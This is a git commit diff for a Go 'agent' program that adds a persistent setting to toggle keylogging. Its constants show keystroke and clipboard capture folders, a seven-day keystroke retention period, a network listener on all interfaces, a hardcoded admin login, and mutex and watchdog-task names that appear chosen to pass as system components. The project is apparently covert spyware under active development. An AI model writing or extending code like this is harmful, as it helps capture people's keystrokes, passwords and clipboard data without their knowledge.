feat(agent): add persistent klogging settings
- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
This commit is contained in:
+11
-1
@@ -8,8 +8,10 @@ import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// Version is the agent build version. scripts/build.sh overwrites this via -X.
|
||||
var Version = "1.0.0"
|
||||
|
||||
const (
|
||||
Version = "1.0.0"
|
||||
DefaultAddr = "0.0.0.0:5032"
|
||||
MutexName = "win64_mp_Mutex"
|
||||
RestartDelay = 3 * time.Second
|
||||
@@ -32,6 +34,7 @@ const (
|
||||
KeylogSubdir = "keystrokes"
|
||||
LogsSubdir = "logs"
|
||||
ClipboardSubdir = "clipboard"
|
||||
SettingsFileName = "settings.json"
|
||||
WatchdogTaskName = "win64_mp_watchdog"
|
||||
DefaultKeylogRetentionDays = 7
|
||||
AuthUser = "admin"
|
||||
@@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string {
|
||||
}
|
||||
|
||||
func KeylogEnabled() bool {
|
||||
if on, ok := readKeylogPref(); ok {
|
||||
return on
|
||||
}
|
||||
return envKeylogEnabled()
|
||||
}
|
||||
|
||||
func envKeylogEnabled() bool {
|
||||
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
||||
case "0", "false", "no", "off":
|
||||
return false
|
||||
|
||||
Reference in New Issue
Block a user